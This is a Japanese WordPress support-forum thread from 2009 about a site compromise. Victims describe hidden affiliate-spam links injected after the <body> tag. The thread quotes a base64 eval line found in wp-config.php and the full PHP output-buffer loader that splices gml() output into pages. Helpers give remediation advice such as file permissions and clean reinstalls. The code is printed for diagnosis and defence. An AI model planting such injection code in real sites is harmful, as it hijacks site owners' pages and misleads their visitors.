フォーラムトピック: PHPファイルに不正なコードが埋め込まれる

フォーラムトピック: PHPファイルに不正なコードが埋め込まれる http://ja.forums.wordpress.org/ フォーラムトピック: PHPファイルに不正なコードが埋め込まれる en Fri, 19 Mar 2010 12:54:28 +0000 officegilberto : "PHPファイルに不正なコードが埋め込まれる" http://ja.forums.wordpress.org/topic/1301#post-6952 Sun, 12 Apr 2009 01:47:07 +0000 officegilberto 6952@http://ja.forums.wordpress.org/ 　僕もさくらサーバーの一つで同じ状況になりました。通常は見えないのですが「ktai_style」を使った携帯サイトですと、TOPにこのソースがずらずらと出てくる事で気づきました。 　発生元はいまだに不明です。テーマファイル、プラグインファイルなど様々なファイルにこのコードが書き加えられていました。 　アメリカのフォーラムにあったいくつかの解決策では結局解決出来なかったため全てのファイルを削除後、クリーンなものに入れ替えることで対応しました。 　内容的にはアフェリエイト用のHTMLコードが書かれているだけのようですが、明らかに実害がありますのできちんとした対応策が分かると助かります。 jiluro : "PHPファイルに不正なコードが埋め込まれる" http://ja.forums.wordpress.org/topic/1301#post-5855 Mon, 16 Feb 2009 00:49:03 +0000 jiluro 5855@http://ja.forums.wordpress.org/ このスレッドはとても重要ですね・・・・ 予防策としては、peace.journeyさまが書かれていた、 wp-config.php ファイルのパーミッションを444にする、ということだと理解いたしました。 早速サイトに反映させました。 そもそも、wp-config.phpという極めて重要なファイルが、WP設置した直下に置かれてある仕組みというのは怖いなぁと思いました・・・・ １ユーザとして、フォーラムでの皆様のご尽力に感謝しております。 ahaseg : "PHPファイルに不正なコードが埋め込まれる" http://ja.forums.wordpress.org/topic/1301#post-5769 Thu, 12 Feb 2009 09:23:35 +0000 ahaseg 5769@http://ja.forums.wordpress.org/ 同僚に埋め込まれたソース（添付します）を読んでもらいました。 <a href="http://www.simplemachines.org/community/index.php?topic=291486.0" rel="nofollow">http://www.simplemachines.org/community/index.php?topic=291486.0</a> にもPOSTされているように、ある特定のファイルを読み込ませて、その中に定義されているgml()という関数を呼び出して、<body>直後にその戻り値を挿入しているようです。 私のケースでは、 /home/username/www/sitename/wordpress/wp-includes/js/tinymce/themes/ advanced/images/xp/js.php にgml()が定義されているようです。 （上記フォーラムだとcopper.phpとなています） tinymce自体はWYSWYGエディタのJSのようです。 ということで、なんらかのテーマがこのgml()を呼び出し、Apacheで操作できる（＝public_html以下）のファイルに再帰的に書き換えが行われたようです。 汚染されたWordPressは、Rinというテーマを友人がカスタマイズしたものを使っていました。 Rin <a href="http://brokenkode.com/rin" rel="nofollow">http://brokenkode.com/rin</a> 以下ソースです（ディレクトリ名は書き換えてあります）： <pre><code>if(function_exists('ob_start')&&!isset($GLOBALS['sh_no'])){ $GLOBALS['sh_no']=1; if(file_exists('/home/username/www/sitename/wordpress/wp-includes/js/ tinymce/themes/advanced/images/xp/js.php')){ include_once('/home/username/www/sitename/wordpress/wp-includes/js/ tinymce/themes/advanced/images/xp/js.php'); if(function_exists('gml')&&!function_exists('dgobh')){ if(!function_exists('gzdecode')){ function gzdecode($d){ $f=ord(substr($d,3,1)); $h=10; $e=0; if($f&4){ $e=unpack('v',substr($d,10,2)); $e=$e[1]; $h+=2+$e; } if($f&8){ $h=strpos($d,chr(0),$h)+1; } if($f&16){ $h=strpos($d,chr(0),$h)+1; } if($f&2){ $h+=2; } $u=gzinflate(substr($d,$h)); if($u===FALSE){ $u=$d; } return $u; } } function dgobh($b){ Header('Content-Encoding: none'); $c=gzdecode($b); if(preg_match('/\<body/si',$c)){ return preg_replace('/(\<body[^\>]*\>)/si','$1'.gml(),$c); } else{ return gml().$c; } } ob_start('dgobh'); } } }</code></pre> lilyfan : "PHPファイルに不正なコードが埋め込まれる" http://ja.forums.wordpress.org/topic/1301#post-5760 Thu, 12 Feb 2009 05:40:35 +0000 lilyfan 5760@http://ja.forums.wordpress.org/ そういえば、以前フォーラムで「<a href="http://ja.forums.wordpress.org/topic/945">コード難読化を使っているテーマの改造をしたい</a>」という相談がありました。 WordPress 公式テーマディレクトリーで配布されているテーマは、審査ずみのため安全のはずですが、それ以外の場所で配布されているものは、こういう難読化手法が使われていることがあります。そういうプラグインは安全とは言い難いので使うべきではありません。また、そういうコーディング手法を見つけたら、どしどし告発するべきでしょう。 おそらく、ahaseg さんが過去使ったことのあるテーマ・プラグインに、悪意あるコードが含まれたものがあったのでしょう。 tenpura : "PHPファイルに不正なコードが埋め込まれる" http://ja.forums.wordpress.org/topic/1301#post-5758 Thu, 12 Feb 2009 05:22:33 +0000 tenpura 5758@http://ja.forums.wordpress.org/ 同様の被害の訴えが結構あります。 ahaseg さん、これらを読んで何か思い当たりますか？ <a href="http://www.tinyportal.net/index.php?topic=26106.0;all" rel="nofollow">http://www.tinyportal.net/index.php?topic=26106.0;all</a> <a href="http://forums.b2evolution.net/viewtopic.php?t=17247" rel="nofollow">http://forums.b2evolution.net/viewtopic.php?t=17247</a> <a href="http://www.xoops.org/modules/newbb/viewtopic.php?post_id=297046" rel="nofollow">http://www.xoops.org/modules/newbb/viewtopic.php?post_id=297046</a> <a href="http://www.simplemachines.org/community/index.php?topic=291486.0" rel="nofollow">http://www.simplemachines.org/community/index.php?topic=291486.0</a> <a href="http://www.simplemachines.org/community/index.php?topic=275312.0" rel="nofollow">http://www.simplemachines.org/community/index.php?topic=275312.0</a> lilyfan : "PHPファイルに不正なコードが埋め込まれる" http://ja.forums.wordpress.org/topic/1301#post-5757 Thu, 12 Feb 2009 04:47:08 +0000 lilyfan 5757@http://ja.forums.wordpress.org/ <blockquote>タイトルではお騒がせしてしまいまして申し訳ありません。 たしかに緊急度という意味では低いことでありました。 </blockquote> 質問のタイトルを付けるのは、なかなか難しいですよね。コツとしては「発生している現象をできるだけ素直に具体的に書く」ことです。クラックされたか、だと少し抽象的だと思います。 # ただし、自分が作ったことのないユーザーが増えているとか、自分以外のXML-RPC 接続が今現在行なわれているとか、「クラックされた」という具体的証拠があれば、そういうタイトルでも構いません。 <blockquote>加えて、wp-admin.phpだけでなく、ほぼすべての.phpファイルの冒頭にクラックコードと思われるコードが挿入されていました。 </blockquote> すなわち、wp-config.php ならずとも、WordPress の本体ファイルもすべて改変されていた、ということでしょうか。それは「侵入された」に近い状況だと思います。 <blockquote>それぞれのblogでは試したテーマ、プラグインはさまざまなので、 </blockquote> 覚えている限りすべて列挙してもらえれば助かります。著名なテーマ／プラグインでも、バージョンによっては汚染されていたり脆弱性があったりしますので、漏れのないようにお願いします。 ahaseg : "PHPファイルに不正なコードが埋め込まれる" http://ja.forums.wordpress.org/topic/1301#post-5753 Thu, 12 Feb 2009 03:53:24 +0000 ahaseg 5753@http://ja.forums.wordpress.org/ tenpuraさん、みなさん、 確かに解決済みではないですね。失礼しました。 さくらの管理グループには状況の説明を行っています。 該当ファイルはサーバからは削除してしまったのですが、もしご興味のある方がいましたら研究？のために公開したいと思っております。 追って経過を報告いたします。 tenpura : "PHPファイルに不正なコードが埋め込まれる" http://ja.forums.wordpress.org/topic/1301#post-5752 Thu, 12 Feb 2009 03:17:28 +0000 tenpura 5752@http://ja.forums.wordpress.org/ ahaseg さん ご自分だけの問題とは言い切れないのでさくらの管理者の方へ状況を知らせて調査してもらってください。 またまだ原因が分かったわけではないようですので解決済は解除しておきます。 <blockquote>フォーラムの最新情報は WordPress 日本語版のダッシュボードにも出てくるので、「ハックされました」「クラックされました」というのがいっぱい並ぶのは、精神衛生上よくないので、もっと具体的な現象を示すものに再修正した方がいいかもしれません。</blockquote> 修正しました。 peace.journey : "PHPファイルに不正なコードが埋め込まれる" http://ja.forums.wordpress.org/topic/1301#post-5740 Wed, 11 Feb 2009 23:51:10 +0000 peace.journey 5740@http://ja.forums.wordpress.org/ 書き込み権限の件で一言。 ぼくもさくらのレンタルサーバを使用しています。このサーバではPHPはsuEXEC環境のCGIモードで動作します。なので、Apacheが（PHP経由で）ファイルを操作する際は、ディレクトリ・オーナーのパーミッションになります。つまり、ファイルパーミッションが644だと、ユーザ自身が書き込みできるため、Apacheも書き込みできるわけです。 したがって、Apacheからの書き込みを防ぐには、パーミッションを444にする必要があります。 取り急ぎ。 ahaseg : "PHPファイルに不正なコードが埋め込まれる" http://ja.forums.wordpress.org/topic/1301#post-5739 Wed, 11 Feb 2009 23:12:53 +0000 ahaseg 5739@http://ja.forums.wordpress.org/ みなさま、 タイトルではお騒がせしてしまいまして申し訳ありません。 たしかに緊急度という意味では低いことでありました。 また、不完全な情報に対して、有益なアドバイスを多くいただき、感謝しております。 過去の丸ごとバックアップファイルを調べてみたところ、lilyfanさんのおっしゃるとおり、以前からクラックされた状態でした。 かつ、所持している同一サーバの４つのWordPress blogのうち、３つが汚染？されておりました。 加えて、wp-admin.phpだけでなく、ほぼすべての.phpファイルの冒頭にクラックコードと思われるコードが挿入されていました。 これらは、ドメイン等は別なのですが、サーバ上では同一ディレクトリ以下にあります。 /home/username/www/以下 （==public_html） この階層にあり、かつWordPressディレクトリ以下にはない、アクセス解析用のスクリプト（shortstat）も汚染されており、状況的に見て、この配下にあるすべての.phpファイルが汚染されていた、という可能性もありそうです。 この上位ディレクトリ（/home/usrname/hogehoge/）にあるphpファイルは無事でした。 基本的にほとんどのファイルは644に設定してあり、wp-config.phpも644でした。 また、wp-config.phpは手動で作成しているので、オーナーもftpアカウントとなっています。 それぞれのblogでは試したテーマ、プラグインはさまざまなので、どれか一つのblogから他のblogに汚染が広がった可能性もあります（そもそも可能なのかどうかちょっとわかりませんが）。 WOrdPress自体は、2.0のころから使っており、サーバ上でももう使っていないblogもあるため、古いソースと新しいソースとが混在していましたが、バージョンを変えたバックアップファイルも汚染されていたため、なにかのスクリプト実行時にファイルを書き換えていくのか？と思っております。 とりあえず、汚染されていると思われるソースはすべてサーバから削除しているところですが、さらになにかわかりましたらまた書き込みたいと思います。 fujisan : "PHPファイルに不正なコードが埋め込まれる" http://ja.forums.wordpress.org/topic/1301#post-5736 Wed, 11 Feb 2009 20:56:58 +0000 fujisan 5736@http://ja.forums.wordpress.org/ wordpressを同じサーバーで複数（12テーマ）運営していますが、今回の件は大変参考になりました。 経験上スパムが入って来やすいのは海外（特に米国）のテーマをインストールした後なのですが、wp-config.php を改ざんされるケースは初めて聞いたのでwp-config.phpnoパーミッションの変更（600にするなど）を含めて緊急メンテナンスを行いました。 素人でもできる対策の一例として、今後はプラグインやテーマ（特に海外製）をhttp://virusscan.jotti.org/（数十のエンジンでウイルスチェックできるサイト）などでチェックしてからインストールしたいと思います。 私の知識レベルは相当低いのですが、こうした事案は全てのwordpressユーザーにとても重要な情報と知識を与えていただけるので、フォーラムの設置・運営していただいている方に大変感謝しています。今後ともよろしくお願い致します。 lilyfan : "PHPファイルに不正なコードが埋め込まれる" http://ja.forums.wordpress.org/topic/1301#post-5735 Wed, 11 Feb 2009 19:07:45 +0000 lilyfan 5735@http://ja.forums.wordpress.org/ tai さん: <blockquote>タイトルを変更しました。:-) </blockquote> ありがとうございます。 でも、よく考えたら、今回の現象は「wp-config.php の書き換えによる不正な広告コードの挿入」であって、クラックされたかどうかは不確かですよね。つまり、より適切なタイトルは「HTML 出力に不審な広告コードが入る」とか、そういう感じだと思います。 今回、「ハック」とか「クラック」とか扇動的な言葉があったので、多くの人があわてて対応しましたが、実際には大した現象ではなかった気がします。 フォーラムの最新情報は WordPress 日本語版のダッシュボードにも出てくるので、「ハックされました」「クラックされました」というのがいっぱい並ぶのは、精神衛生上よくないので、もっと具体的な現象を示すものに再修正した方がいいかもしれません。 折りしも WordPress 2.7.1 がリリースされたタイミングなので、<a href="http://dejavu-i.com/blog/52.html">「すわ 2.7 にセキュリティーホールか??」と思う人がおられる</a>かもしれませんし ;-) lilyfan : "PHPファイルに不正なコードが埋め込まれる" http://ja.forums.wordpress.org/topic/1301#post-5731 Wed, 11 Feb 2009 13:39:19 +0000 lilyfan 5731@http://ja.forums.wordpress.org/ <blockquote>ソースを差し替えた際も、wp-config.phpは古いものを流用していたため、見逃してしまっておりました。 この部分がどういった経緯で混入したのか現時点で不明ですが、一旦解決かと思っております。 </blockquote> 実はずっと前から広告コードが入っていた可能性がありますね。通常の閲覧では見えないので、見逃されていた可能性があります。発見されたご友人がすばらしい仕事をされた、ということですね。 WordPress のインストーラによって wp-config.php を生成した場合、ウェブサーバーによる書き込み権限が残っています。したがって、悪意あるプラグイン／テーマを実行すると、wp-config.php に悪いコードを入れられる可能性はあります。 今までに使用したことのあるプラグインやテーマを覚えている限り、リストアップしてみください。このフォーラムに記載される場合は、分かる範囲で配布元 URL も書いてもらえると助かります。 余談になりますが、wp-config.php を生成したあとは、書き込み権限を落とすのが安全ということですね。本当は、ファイルのオーナーを変更すると完璧ですが、ちょっと手間がかかります。 書き込み権限が残った状態で、まず FTP/SFTP で wp-config.php を読み取りし、それから wp-config.php を削除してから、FTP/SFTP で wp-config.php をアップロードします。こうすれば、FTP/SFTP ツールによって、あなたが所有者となるファイルを生成できます。 WordPress のセキュリティー向上を指南する記事はいくつかありますが、wp-config.php のパーミッションについて言及したものは少なかったと思うので、喚起が必要かもしれませんね。このへんは、ちょっとがんばってみます。 tai : "PHPファイルに不正なコードが埋め込まれる" http://ja.forums.wordpress.org/topic/1301#post-5728 Wed, 11 Feb 2009 12:09:29 +0000 tai 5728@http://ja.forums.wordpress.org/ タイトルを変更しました。:-) wp-config.phpが書き換えられた原因が分かったらまた教えてください。 ahaseg : "PHPファイルに不正なコードが埋め込まれる" http://ja.forums.wordpress.org/topic/1301#post-5727 Wed, 11 Feb 2009 11:57:31 +0000 ahaseg 5727@http://ja.forums.wordpress.org/ みなさま、解決しました。 たいへんお恥ずかしい話ですがwp-config.phpをいじられていたようです。 wp-config.phpの冒頭に、 eval(base64_decode('aWYoZ・・・・CIpO319')); ?> というような文字列が埋め込まれており、base64の文字列部分をデコードしてみたところ、 <blockquote>if(preg_match("/\<body/si",$R3E33E017CD76B9B7E6C7364FB91E2E90)){return preg_replace("/(\<body[^\>]*\>)/si","$1".gml(),$R3E33E017CD76B9B7E6C7364FB91E2E90);}else{return gml().$R3E33E017CD76B9B7E6C7364FB91E2E90;}}ob_start("dgobh"); </blockquote> といった記述が見られましたため、ここが原因かと思われます。 （$xxxxxxといった箇所が多く、全体は読み取れていません） ソースを差し替えた際も、wp-config.phpは古いものを流用していたため、見逃してしまっておりました。 この部分がどういった経緯で混入したのか現時点で不明ですが、一旦解決かと思っております。 いろいろ助言いただきましてありがとうございました。 また、wp-config.phpという初歩的な部分でお騒がせしてしまったことをお詫びいたします。 なお、トピックタイトルをハックからクラックに変更したいと思っておりますが、方法がわかりません。管理者さまにお願いすればよいのでしょうか？ 最後まで質問で恐縮ですが、どなたかご教示いただければと思います。 よろしくお願いします。 php-web : "PHPファイルに不正なコードが埋め込まれる" http://ja.forums.wordpress.org/topic/1301#post-5726 Wed, 11 Feb 2009 11:54:10 +0000 php-web 5726@http://ja.forums.wordpress.org/ 使っていたプラグインおよびテーマはどんなものでしょうか？ プラグインかテーマの中に、広告をこっそり仕込むスクリプトが混入していた可能性が高いと思います。 ahaseg : "PHPファイルに不正なコードが埋め込まれる" http://ja.forums.wordpress.org/topic/1301#post-5724 Wed, 11 Feb 2009 11:02:11 +0000 ahaseg 5724@http://ja.forums.wordpress.org/ lilyfanさん、 <blockquote>状況から言って、確かに第三者にいじられている可能性が大ですが、こういう行為は「クラッキング」と言います。「ハック」と言ってはなりません。 </blockquote> 確かにその通りです。 不適切でした。 <blockquote>「いちゃもん」はこれぐらいにして、基本的な問題切り分けとして、これはウェブブラウザーで見た HTML ソース *だけ* がいじられているんでしょうか (テーマファイル自体には広告コードが入ってない)。それとも、利用中のテーマファイル (index.php や header.php 等) 自体に広告コードが入ってしまっている (== テーマファイルが直接書き換えられてしまっている) んでしょうか。</blockquote> テーマファイルを切り替えたり、入れ直したりしても問題が再発することから、ご指摘の前者ではないかと思っております。 サーバからwordpressフォルダごとローカルに持ってきて（ダウンロードして）、ファイルの検索を行いましたが、該当のSPAMテキストは見つかりませんでした。 おそらくどこかのサーバを見に行っているのだと思いますが、その箇所は見つけられていません。 また、zipを展開したソースにwp-config.php、wp-contents/uploads/*だけ更新したものでも同じ現象が発生しています。 DBはまだなにも検証していないので、残るはDBなのですが、こちらはどこから手をつけてよいのか検討がつかない状況です。 よろしくお願いします。 ahaseg : "PHPファイルに不正なコードが埋め込まれる" http://ja.forums.wordpress.org/topic/1301#post-5723 Wed, 11 Feb 2009 10:53:36 +0000 ahaseg 5723@http://ja.forums.wordpress.org/ 追加です、MySQL上では、以下のテーブルが確認できます。 （xxは自分でwp-config.phpで設定したprefixです） xx_comments xx_links xx_options xx_postmeta xx_posts xx_terms xx_term_relationships xx_term_txonomy xx_usermeta xx_users lilyfan : "PHPファイルに不正なコードが埋め込まれる" http://ja.forums.wordpress.org/topic/1301#post-5722 Wed, 11 Feb 2009 10:48:01 +0000 lilyfan 5722@http://ja.forums.wordpress.org/ 状況から言って、確かに第三者にいじられている可能性が大ですが、こういう行為は「クラッキング」と言います。「ハック」と言ってはなりません。 # 質問者は別に構いませんが、tenpura さん, tai さんが「ハック」という言葉を使われたのは非常に残念でなりません。 # 解決後でいいですから、トピックタイトルを「クラック」に変更されることをお願いします。 「いちゃもん」はこれぐらいにして、基本的な問題切り分けとして、これはウェブブラウザーで見た HTML ソース *だけ* がいじられているんでしょうか (テーマファイル自体には広告コードが入ってない)。それとも、利用中のテーマファイル (index.php や header.php 等) 自体に広告コードが入ってしまっている (== テーマファイルが直接書き換えられてしまっている) んでしょうか。 前者ならば、WordPress のコアファイルのどこかに悪意あるコードが混ざってしまった可能性があります。この場合、バックアップをきちんと取って、関連ファイルをすべて消して再インストールすることをおすすめします (アップグレードでは悪い部分が残ることがあります)。このとき、http://ja.wordpress.org/ から WordPress を入手し直すのが確実です (手元にあるものを使ったり、ヨソから入手したものを使ってはいけません)。 後者の場合、サーバーに転送する前のローカルファイルに広告コードが載ってないか確認してください。そうでなければ、サーバーに誰かが侵入された可能性があります。さくらのサポートに早急に連絡して、対処を仰いでください。 taikiken さんも書かれていますが、いま利用中のコンピューターが汚染されている (ウイルス等により、第三者が自由にいじれる) 可能性があります。他にパソコンがあれば、ウイルスチェックをした上で、その端末を使って作業してください。パソコンが1台しかなければ、仕方ないのでウイルスチェックをかけて、その端末を使ってください。 さくらのサービスプランが何かは分かりませんが、レンタルサーバー側が侵入されることは可能性として低いです。 現在広告コードが入ってしまっているならば、閲覧者に迷惑がかかりますから、いったんサイトを閉鎖しておいた方が無難です。一番いいのは public_html 等の公開ディレクトリーのパーミッションを 700、ファイルは 600 にしてしまうことです。(調査のため、削除はしないでください) <a href="http://wppluginsj.sourceforge.jp/i18n-ja_jp/maintenance-mode/">Maintenance Mode</a> を使う手もありますが、WordPress 自体は稼動してしまうので、あまり好ましくありません。 ahaseg : "PHPファイルに不正なコードが埋め込まれる" http://ja.forums.wordpress.org/topic/1301#post-5721 Wed, 11 Feb 2009 10:08:47 +0000 ahaseg 5721@http://ja.forums.wordpress.org/ takayukisterさん、 公開情報不足でした。申し訳ありません。 １）テーマはデフォルトと別なものとを切り替えながら使っていました。 今回の問題をblogの閲覧者から指摘されデフォルトに戻し、かつオリジナルのdefaultフォルダで差し替えたものを使っています。 別なテーマにしてもこの問題は発生します。 ２）サイトは、 <a href="http://www.underconcept.com/blog/" rel="nofollow">http://www.underconcept.com/blog/</a> です。 具体的には、<code><body></code>タグのあとにこのSPAMが入っています。 通常はCSSで見えなくなっているために運営者の自分では気づきませんでしたが、CSSを切ると見ることができます。 ３）バージョン情報は以下となります。 ホスティング: さくらのレンタルサーバ PHP: 5.2.8 MySQL: 4.0.27 Apache: 1.3.39 WordPress: 2.7.1 よろしくお願いします。 ahaseg : "PHPファイルに不正なコードが埋め込まれる" http://ja.forums.wordpress.org/topic/1301#post-5720 Wed, 11 Feb 2009 09:22:15 +0000 ahaseg 5720@http://ja.forums.wordpress.org/ taiさん、 なるほど、ちなみに某さくらのレンタルサーバ上で運用していますが、別にインストールしたWordPressでは発生していないのが若干謎ではあります。 いずれにせよサーバ側に問い合わせてみたいと思います。 takayukister : "PHPファイルに不正なコードが埋め込まれる" http://ja.forums.wordpress.org/topic/1301#post-5719 Wed, 11 Feb 2009 09:16:06 +0000 takayukister 5719@http://ja.forums.wordpress.org/ ahaseg さん、 何点か確認させてください。 1) テーマは元からデフォルトを使っていたのでしょうか、それとも元は別のものを使っていて、今回テストのためにデフォルトに戻されたのでしょうか。デフォルト以外のテーマでも同様の現象が見られますか、それとも別のテーマに変えたら違いが見られるでしょうか。 2) HTML のソースを貼られていますが、これはどのようにして確認したものですか。body のあとに、と書かれていますが body のすぐ後でしょうか、それとも間に何か入るのでしょうか。公開可能なサイトであれば URL を教えてください(こういったケースで公開不可能なサイトについて外から助言するのはそもそも困難ですので予めご了解を)。 3) WordPress のバージョン、PHP、MySQL、OS 等々のバージョンなど、基本情報を教えてください。ホスティングサーバーをお使いでしたらどこのどのサーバーか、わかる範囲で詳しく教えてください。 tai : "PHPファイルに不正なコードが埋め込まれる" http://ja.forums.wordpress.org/topic/1301#post-5718 Wed, 11 Feb 2009 08:54:57 +0000 tai 5718@http://ja.forums.wordpress.org/ ahaseg さん、 tenpuraさんもお書きになってますが、状況からサーバーがハックされている可能性が高いです。なのでまずはサーバー管理者に状況を伝えてください。 ahaseg : "PHPファイルに不正なコードが埋め込まれる" http://ja.forums.wordpress.org/topic/1301#post-5717 Wed, 11 Feb 2009 08:47:44 +0000 ahaseg 5717@http://ja.forums.wordpress.org/ tenpuraさん、 いくつかWordPressをインストールしていまして、また静的なHTMLコンテンツもアップしていますがそれらではこの現象は起きていません。 また、このWordPress上でも404エラーが出る画面等では出ていないようです。 Archive/以下だと違う広告が出ます。 同様の事例を探っているのですがなかなか見つかりません。 英語のフォーラムのほうで聞いてみた方がよいですかね。 tenpura : "PHPファイルに不正なコードが埋め込まれる" http://ja.forums.wordpress.org/topic/1301#post-5715 Wed, 11 Feb 2009 07:02:12 +0000 tenpura 5715@http://ja.forums.wordpress.org/ ahaseg さん WordPress というよりサーバーがハックされている可能性があるのでその旨をサーバー管理者に伝えてください。 WordPress に不正なログインがあるかを調べるには以下のプラグインが使えます。 <a href="http://wordpress.org/extend/plugins/admin-ip-watcher/" rel="nofollow">http://wordpress.org/extend/plugins/admin-ip-watcher/</a> コンテンツを消されたりしないよう、また現状を残しておくという意味で全コンテンツのバックアップを取っておくといいかもしれません。 ahaseg : "PHPファイルに不正なコードが埋め込まれる" http://ja.forums.wordpress.org/topic/1301#post-5714 Wed, 11 Feb 2009 06:13:56 +0000 ahaseg 5714@http://ja.forums.wordpress.org/ taikikenさん、 とりあえずWordPress上のアカウントのパスワードとftpのパスワードは変更してあります。 DBのパスワードはいじっていないのですが、これも変えた方がよさそうですね。 ahaseg : "PHPファイルに不正なコードが埋め込まれる" http://ja.forums.wordpress.org/topic/1301#post-5711 Wed, 11 Feb 2009 06:04:07 +0000 ahaseg 5711@http://ja.forums.wordpress.org/ taiさん、 >2点教えてください。 > > ・テーマをデフォルトに戻すとどうなりますか? > ・プラグインをすべてを停止するとどうなりますか? 現在、テーマはデフォルトに戻して、プラグインもwp-spamfree以外は外しています。 wp-spamfreeを外すとspamコメントが殺到するので、これだけは外した状態で再現することを確認してアクティブにしました。 テーマは、defaultを新しい2.7.1のwp-contentから持ってきた素のものを使っています。 よろしくお願いします。 tai : "PHPファイルに不正なコードが埋め込まれる" http://ja.forums.wordpress.org/topic/1301#post-5710 Wed, 11 Feb 2009 05:54:04 +0000 tai 5710@http://ja.forums.wordpress.org/ 2点教えてください。 ・テーマをデフォルトに戻すとどうなりますか? ・プラグインをすべてを停止するとどうなりますか? taikiken : "PHPファイルに不正なコードが埋め込まれる" http://ja.forums.wordpress.org/topic/1301#post-5709 Wed, 11 Feb 2009 05:10:13 +0000 taikiken 5709@http://ja.forums.wordpress.org/ コードを変更されるというのはかなり困った状態ですね。 原因が何かはまだ分かりませんが以下のことを試す価値はあると思います。 現在使用中のFTPアカウントを削除し新しく設定する。 使用中DBユーザーを削除し新設する。 どちらも削除ができないなら、少なくともパスワードを変更する。 を現在使用しているマシン、ネットワーク以外から行う。 ahaseg : "PHPファイルに不正なコードが埋め込まれる" http://ja.forums.wordpress.org/topic/1301#post-5707 Wed, 11 Feb 2009 04:54:09 +0000 ahaseg 5707@http://ja.forums.wordpress.org/ はじめまして、以前からWordPressを使っていますが、このたび何者かによってハックされてしまったようです。 具体的には、<code><body></code>のあとに、 <code><div style="position:absolute;left:-48667px;top:-65558px"><h1>sony ericsson k300i downloads</h1> Nokia <a href="http://www.jjsdesign.net/forum/?info-about=632" title="sony k300i downloads ericsson">sony k300i downloads ericsson</a></code> ・・・・・・・ in our database that you can offer on your site! <code></div></code> <code><div id="page"></code> といったように、膨大な広告リンクが埋め込まれてしまいます。 WordPressをアップグレードしたり、テンプレートのファイルを見ましたが解決しません。 どなたか解決方法を教えていただければ幸いです。